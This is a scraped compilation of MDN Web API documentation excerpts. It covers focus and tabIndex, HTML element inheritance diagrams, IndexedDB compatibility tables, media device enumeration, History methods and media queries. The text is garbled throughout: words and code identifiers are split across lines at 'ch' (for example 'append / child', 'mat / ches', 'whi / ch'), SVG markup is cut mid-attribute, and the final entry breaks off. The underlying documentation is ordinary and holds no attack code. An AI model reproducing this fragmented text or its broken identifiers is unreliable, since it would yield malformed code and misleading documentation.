chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmenuitemelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
HTMLElement.focus() - Web APIs
the focused element is the element whi
ch will receive keyboard and similar events by default.
... obsolete notes if you call htmlelement.focus() from a mousedown event handler, you must call event.preventdefault() to keep the focus from leaving the htmlelement behaviour of the focus in relation to different html features like tabindex or shadow dom, whi
ch previously remained under-specified, were recently updated (as october of 2019).
...
checkout whatwg blog for more info.
HTMLOrForeignElement.tabIndex - Web APIs
they may even be negative, though ea
ch browser trims very large values.
... living standard no
change from document object model (dom) level 2 html specification.
... obsolete no
change from document object model (dom) level 1 specification.
HTMLOrForeignElement - Web APIs
ea
ch of these interfaces can, of course, add more features in addition to the ones listed below.
... propertiesdataset read only the dataset read-only property of the htmlorforeignelement interface provides read/write access to all the custom data attributes (data-*) set on the element.nonce the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fet
ch will be allowed to proceed.tabindexthe tabindex property of the htmlorforeignelement interface represents the tab order of the current element.methodsblur()the htmlelement.blur() method removes keyboard focus from the current element.focus()the htmlelement.focus() method sets focus on the specified element, if it can be focused.
... the focused element is the element whi
ch will receive keyboard and similar events by default.
HTMLPictureElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlpictureelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middl...
HTMLProgressElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlprogresselement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
HTMLSelectElement.autofocus - Web APIs
the htmlselectelement.autofocus property is a boolean that reflects the autofocus html attribute, whi
ch indicates whether the associated <select> element will get input focus when the page loads, unless the user overrides it.
...if there are several, the first element with the attribute set inserted, usually the first su
ch element on the page, get the initial focus.
... syntaxedit abool = aselectelement.autofocus; // get the value of autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript //
check if the autofocus attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html living standardthe definition of 'autofocus' in that specification.
HTMLSourceElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlsourceelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
HTMLSpanElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlspanelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
HTMLStyleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlstyleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
HTMLTableElement.caption - Web APIs
living standard no
change from html5 html5the definition of 'htmltableelement.caption' in that specification.
... recommendation no
change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.caption' in that specification.
... obsolete no
change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.caption' in that specification.
HTMLTableRowElement.insertCell() - Web APIs
the cell does not need to be appended separately with node.append
child() as would be the case if document.createelement() had been used to create the new <td> element.
...(to be valid html, a <tr> must have at least one <td> element.) finally, we add some text to the cell using document.createtextnode() and node.append
child().
... javascript function addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.append
child(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltablerowelement.insertcell()' in that specification.
HTMLTimeElement.dateTime - Web APIs
the htmltimeelement.datetime property is a domstring that reflects the datetime html attribute, containing a ma
chine-readable form of the element's date and time value.
... living standard no
change from html 5.1.
... recommendation no
change from html5.
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... msislayoutoptimalforplayback is a read-only property whi
ch indicates whether the video can be rendered more efficiently.
... you can listen to the onmsvideooptimallayout
changed event to be notified when the msislayoutoptimalforplayback property
changes.
HTMLVideoElement.msZoom - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... mszoom is a read/write property whi
ch gets or sets whether the video frame is trimmed, on the top and bottom or left and right, to fit the video display.
... if the native aspect ratio of a video frame, whi
ch is defined by the videowidth and videoheight attributes, does not mat
ch the aspect ratio of the video tag, whi
ch is defined by the width and height attributes, the video is rendered with letterbox or pillarbox format.
onMSVideoFrameStepCompleted - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... onmsvideoframestepcompleted is an event whi
ch occurs when the video frame has been stepped forward or backward one frame.
... syntax value description event property object.onmsvideoframestepcompleted = handler; atta
chevent method object.atta
chevent("onmsvideoframestepcompleted", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
History.go() - Web APIs
this method is asyn
chronous.
... syntax history.go([delta]) parameters delta optional the position in the history to whi
ch you want to move, relative to the current page.
... living standard no
change from html5.
History - Web APIs
back() this asyn
chronous method goes to the previous page in session history, the same action as when the user clicks the browser's back button.
... forward() this asyn
chronous method goes to the next page in session history, the same action as when the user clicks the browser's forward button; this is equivalent to history.go(1).
... go() asyn
chronously loads a page from the session history, identified by its relative location to the current page, for example -1 for the previous page or 1 for the next page.
IDBDatabase.close() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetclose
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor ...
IDBDatabase.onabort - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabort
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendo...
IDBDatabase.onerror - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerror
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendo...
IDBLocaleAwareKeyRange - Web APIs
this is because when you use bound(), it
checks if lower bound < upper bound, and throws an exception if that’s not the case.
...the only difference between idbkeyrange and idblocaleawarekeyrange is that the latter doesn’t do the aforementioned
check.
... + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.append
child(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications not currently part of any specification.
IDBObjectStore.autoIncrement - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetautoincrement
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung inter...
IDBObjectStore.getAll() - Web APIs
the getall() method of the idbobjectstore interface returns an idbrequest object containing all objects in the object store mat
ching the specified parameter or all objects in the store if no parameters are given.
... the count() method with the same key, whi
ch will return 1 if the row exists and 0 if it doesn't.
... return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
IDBObjectStore.indexNames - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetindexnames
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet...
IDBOpenDBRequest - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbrequest" target="_top"><rect x="151" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family=...
..."consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">idbrequest</text></a><polyline points="251,25 261,20 261,30 251,25" stroke="#d4dde4" fill="none"/><line x1="261" y1="25" x2="291" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbopendbrequest" target="_top"><rect x="291" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">idbopendbrequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits methods from its parents idbrequest and eventtarget.
... blocked fired when an open connection to a database is blocking a version
change transaction on the same database.
IDBRequest.onerror - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerror
chrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.r...
IDBRequest.onsuccess - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonsuccess
chrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use...
IDBRequest.result - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetresult
chrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.re...
MediaConfiguration - Web APIs
if the media is an audio file, the audio configuration must include a valid audio mime type as contenttype, the number of
channels, the bitrate, and the sample rate.
...
channels: number of
channels used by the audio track.
... } }; const audioencoderconfig = { type : 'file', // 'record', 'transmission', or 'media-source' audio : { contenttype : "audio/ogg", // valid content type
channels : 2, // audio
channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
MediaDeviceInfo.deviceId - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeviceid
chrome full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari...
... no support nowebview android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfill
chrome android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the...
MediaDeviceInfo.kind - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetkind
chrome full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari ...
... no support nowebview android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfill
chrome android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the ada...
MediaDevices.enumerateDevices() - Web APIs
the mediadevices method enumeratedevices() requests a list of the available media input and output devices, su
ch as microphones, cameras, headsets, and so forth.
...ea
ch object in the array describes one of the available media input and output devices.
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.forea
ch(function(device) { console.log(device.kind + ": " + device.label + " id = " + device.deviceid); }); }) .cat
ch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368...
MediaDevices.getSupportedConstraints() - Web APIs
the getsupportedconstraints() method of the mediadevices interface returns an object based on the mediatracksupportedconstraints dictionary, whose member fields ea
ch specify one of the constrainable properties the user agent understands.
...because only constraints supported by the user agent are included in the list, ea
ch of these boolean properties has the value true.
...ans-serif; } javascript let constraintlist = document.getelementbyid("constraintlist"); let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<code>" + constraint + "</code>"; constraintlist.append
child(elem); } } result specifications specification status comment media capture and streamsthe definition of 'getsupportedconstraints()' in that specification.
MediaElementAudioSourceNode - Web APIs
the amount of
channels in the output equals the number of
channels of the audio referenced by the htmlmediaelement used in the creation of the node, or is 1 if the htmlmediaelement has no audio.
... number of inputs 0 number of outputs 1
channel count defined by the media in the htmlmediaelement passed to the audiocontext.createmediaelementsource method that created it.
...when the mouse pointer is moved, the updatepage() function is invoked, whi
ch calculates the current gain as a ratio of mouse y position divided by overall window height.
MediaPositionState.playbackRate - Web APIs
the mediapositionstate dictionary's playbackrate property is used when calling the mediasession method setpositionstate() to tell the user agent the rate at whi
ch media is currently being played.
... this information can then, in turn, be used by the user agent to provide a user interface whi
ch displays media playback information to the viewer.
... syntax let positionstate = { playbackrate: rate }; let playbackrate = positionstate.playbackrate; value a floating-point value specifying a multiplier corresponding to the current relative rate at whi
ch the media being performed is playing.
MediaQueryListEvent - Web APIs
the mediaquerylistevent object stores information on the
changes that have happened to a mediaquerylist object — instances are available as the event object on a function referenced by a mediaquerylist.on
change property or mediaquerylist.addlistener() call.
... mediaquerylistevent.mat
chesread only a boolean that returns true if the document currently mat
ches the media query list, or false if not.
... examples var mql = window.mat
chmedia('(max-width: 600px)'); function screentest(e) { if (e.mat
ches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view mo...
MediaQueryListListener - Web APIs
a mediaquerylist object maintains a list of media queries on a document, and handles sending notifications to listeners when the media queries on the document
change.
... this makes it possible to observe a document to detect when its media queries
change, instead of polling the values periodically, if you need to detect
changes to the values of media queries on a document.
... a mediaquerylistlistener is a callback function that gets invoked with a single argument, the mediaquerylist for whi
ch the evaluated result
changed.
MediaRecorder: dataavailable event - Web APIs
var
